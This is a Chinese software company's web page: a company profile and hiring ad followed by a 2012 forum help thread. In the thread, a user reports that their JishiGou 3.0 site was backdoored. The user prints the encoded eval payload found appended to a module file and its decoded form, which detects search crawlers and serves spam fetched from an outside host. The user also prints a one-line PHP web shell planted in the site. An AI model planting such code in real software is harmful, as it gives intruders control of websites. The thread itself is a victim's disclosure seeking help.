注册 | 登录

杭州神话信息技术有限公司

一、关于杭州神话公司


杭州神话信息技术有限公司，简称杭州神话，多年来一直专注于互联网技术开发与服务。

1、关于公司创始人：『丛林』
（恩，这个姓真的很少见）一个非知名的互联网痴迷者。
他一直梦想打造一款能服务亿万人的产品，也坚定用户第一、产品至上的理念，为人谦虚、热情，没架子，善于倾听，有唐僧般的专注（还好不太固执）；


2、关于发展方向：

好业宝是一个基于微信小程序开发的微商城系统，为企业提供裂变获客、转化成交、锁客复购、代理分销、线上线下一体化服务（https://haoyebao.com）。


3、关于企业文化
公司使命：成就用户梦想
公司愿景：成为最受欢迎的技术服务商
经营理念：以用户为中心、以需求为导向、以技术为手段、以服务为支撑
核心价值观：用户第一、团队合作、卓越、创新、责任、感恩


二、诚聘各类人才加盟：

1、只要拥有一颗积极上进的心，这里总有适合您的位置；
1）有深度的PHP 开发：追求系统负载、性能极限，对bug零容忍
1）有爱心的产品经理：善于创造用户价值，追求产品极致体验
2）懂生活的前端设计：让用户用我们产品像享受美味一样自然
3）有想法的网络营销：发现和吸引每一个需要帮助的中小企业
4）接地气的产品运营：耐心的帮助每个用户创造价值实现梦想
还有ios开发、android开发、DBA、架构师、商家运营、市场营销、销售经理、渠道经理、网络营销、新媒体运营、客服和技术支持

2、加入我们的理由
不看学历+不看专业
平等氛围+广阔舞台
靠谱薪资+诱人前景
团队精干+同事热情
五险一金+周末双休
午餐补贴+每周活动
年终分红+股票期权
没有KPI，追求OKR

三、重点说说好业宝的未来

1、好业宝到底是什么的？（好业宝）
产品定位：一站式、智能化的移动电商和新零售系统
用户群体：数千万中小企业、线下实体商家
市场需求：产品同质化、业务量萎缩、面临转型升级的迫切需求
产品价值：业务拓展、用户留存、业绩倍增
产品形态：SAAS平台，移动互联网

2、为什么是我们？
1）【证明】已有产品社交平台系统和团购o2o系统全国市场占有率均超过60%；
2）【方向】公司创始人有唐僧般坚定的毅力、善于学习、懂的分享、敢于担当；
3）【团队】核心团队在一起共同奋斗过6年的时间，并决定继续全力以赴下去；
4）【渠道】我们o2o系统已在全国数百个城市使用，这些是我们独有的渠道伙伴；
5）【希望】如果有您的加盟，定能如虎添翼！

不要论资排辈，而是按贡献价值多劳多得！
不要拉帮结派，而是可以背靠背携手作战！
不做IT民工，而是追逐梦想、实现财富自由！

我知道你和我一样不喜欢被忽悠，
所以我真诚的说：你想要的也正是我们在实现的！

你只要有想法就可以大声说出来，不需要担心有人给你脸色看，更不需要再担心有人给你穿小鞋，同样的梦想携手并进！

如对上述岗位感兴趣，请向@丛林 垂询：
QQ/微信：7286784（申请好友请加备注）
手机：18989495139
邮箱：conglin@cenwor.com
地址：杭州市西湖区古墩路829号天亿大厦11楼


因为我们还很小，所以你也可以成为创业元老。

面对一个可能改变命运的机会，你能把握住吗？

杭州神话信息技术有限公司 › 论坛首页 › 记事狗社区系统 › 记事狗-安装使用 › 记事狗3.0被植入一句话木马
返回列表 发新帖
查看: 2054|回复: 3
打印 上一主题 下一主题

[求帮助] 记事狗3.0被植入一句话木马 [复制链接]

Rank: 2

  • TA的每日心情
    郁闷
    2011-12-6 10:50:11

    • 签到天数: 3 天

    [LV.2]偶尔看看I
    跳转到指定楼层
    1#
    灰儿 发表于 2012-2-13 18:53:15 |只看该作者 |倒序浏览
    使用帮助
    网址（含http://）: http://t.sh0527.com/
    所用操作系统: windows xp
    所使用浏览器: ie 8
    程序编码类型: 简体GBK
    版本和Build日期: V3.0 stable build 20110928
    本帖最后由 灰儿 于 2012-2-13 21:01 编辑

    根目录下的\modules\master.mod.php文件被植入木马，此文件的末尾多出的代码如下：
    1. eval(gzuncompress(base64_decode("eJylk19rwjAUxd8Fv0MmslTY6hjow6RsDop7mDLUDcaQEmvaZou5JUkZ2/C7L9VoO4as0+Qhfzjn/u4hhEVOTHUgSKqCOWinmSkqSUyFbrW+6rXmApaECa8ZTPzxkz9+wZs1GPWHPp71jEKlbEGlt69KLglBaLP3biLGaZAr7Y1ycKJ1etVucybe3G63c3nRcUNYtl+ZSlgMmZsm6bVtAru2HbdxaqkN1/JzDg0TQFuYOa/qtXxGmQg1A4F+tJinQ3YU7SIPKS01cHin0ilS302nD8GjOQX9gT+a4lmrZ71FFRYhx5hTUKX8ZwjHADGnholb6MTzUES4omX8dkiqMykQHuwMvUK02m3/Ji6V+AduOBntZe1FKJ7JtCrhmSQAR+SZE7bINu9cFXlbshxIVZBk54oSGSZVqRNjOSIn/whBVWXdr8UHkqR5jk/GOalKG+8MZeIvnpWvy+U/8BtOaC65")))
    复制代码

    解码后代码如下：
    1. if(get_naps_bot($useragent)){

    3. $domain=$_SERVER['SERVER_NAME'];

    5. $spider=get_naps_bot($useragent);

    7. $content=@file_get_contents('http://link.665205.com/jishigou.php?domain='.$domain."&spider=".$spider);

    9. echo $content;

    11. }

    13. function get_naps_bot(){

    15.         $useragent = strtolower($_SERVER['HTTP_USER_AGENT']);      
    16.         if (strpos($useragent, 'googlebot') !== false){

    18.                 return 'Googlebot';

    20.         }

    22.       
    23.         if (strpos($useragent, 'msnbot') !== false){

    25.                 return 'MSNbot';

    27.         }

    29.         if (strpos($useragent, 'slurp') !== false){

    31.                 return 'Yahoobot';

    33.         }

    35.       
    36.         if (strpos($useragent, 'baiduspider') !== false){

    38.                 return 'Baiduspider';

    40.         }

    42.       
    43.         if (strpos($useragent, 'sohu-search') !== false){

    45.                 return 'Sohubot';

    47.         }

    49.       
    50.         if (strpos($useragent, 'lycos') !== false){

    52.                 return 'Lycos';

    54.         }

    56.       
    57.         if (strpos($useragent, 'robozilla') !== false){

    59.                 return 'Robozilla';

    61.         }      
    62.         return false;

    64. }
    复制代码

    对比原程序时发现多出如下文件：
    \include\encoding\tables\gb2312.php
    里面的内容是一句话木马，内容如下：

    1. <?php eval($_POST[xiao])?>baidu
    复制代码


    \setting\ftp.php里内容如下：

    1. <?php
    2.   
    3. $config['ftp']=array (
    4.   'on' => 0,
    5.   'ssl' => 0,
    6.   'port' => 21,
    7.   'attachdir' => '.',
    8.   'pasv' => 0,
    9.   'timeout' => 0,
    10. );
    11. ?>
    复制代码

    可能是官方程序有漏洞，求解决办法。


    分享到: QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
    收藏收藏0

    举报

    Rank: 9Rank: 9Rank: 9

  • TA的每日心情
    奋斗
    2011-12-20 09:50:01

    • 签到天数: 5 天

    [LV.2]偶尔看看I

    积极分子 爱聚合商业用户 网赚宝商业用户 通过论坛任务绑定QQ机器人的用户

    2#
    放牛郎 发表于 2012-2-14 09:34:47 |只看该作者
    官方之前有发布安全补丁的，没看到吗？

    举报

    Rank: 1

  • TA的每日心情
    擦汗
    2012-2-19 17:39:23

    • 签到天数: 1 天

    [LV.1]初来乍到
    3#
    新世纪 发表于 2012-2-19 17:54:36 |只看该作者
    是这样的，学习了。
    [url=www.jzt2011.com]武动乾坤吧[/url] [url]www.jzt2011.com[/url]

    举报

    Rank: 1

  • TA的每日心情
    无聊
    2012-2-19 21:05:45

    • 签到天数: 1 天

    [LV.1]初来乍到
    4#
    famous 发表于 2012-2-19 21:17:17 |只看该作者
    我的天呐。。。赶紧补吧。

    举报

    返回列表 发新帖
    高级模式
    B Color Image Link Quote Code Smilies
    您需要登录后才可以回帖 登录 | 免费注册

    社区团购系统|俏店合伙人|俏店获客新零售|微商城系统|杭州神话信息技术有限公司 ( 浙ICP备06012684号-1 )    

    商务咨询电话：0571-88800819   微信客服公众号：haoyebao   办公地址：杭州市西湖区古墩路829号天亿大厦11楼    浙公网安备 33010602000859号

    GMT+8, 2026-4-25 06:18

    © 2005-2024 Cenwor Inc.

    回顶部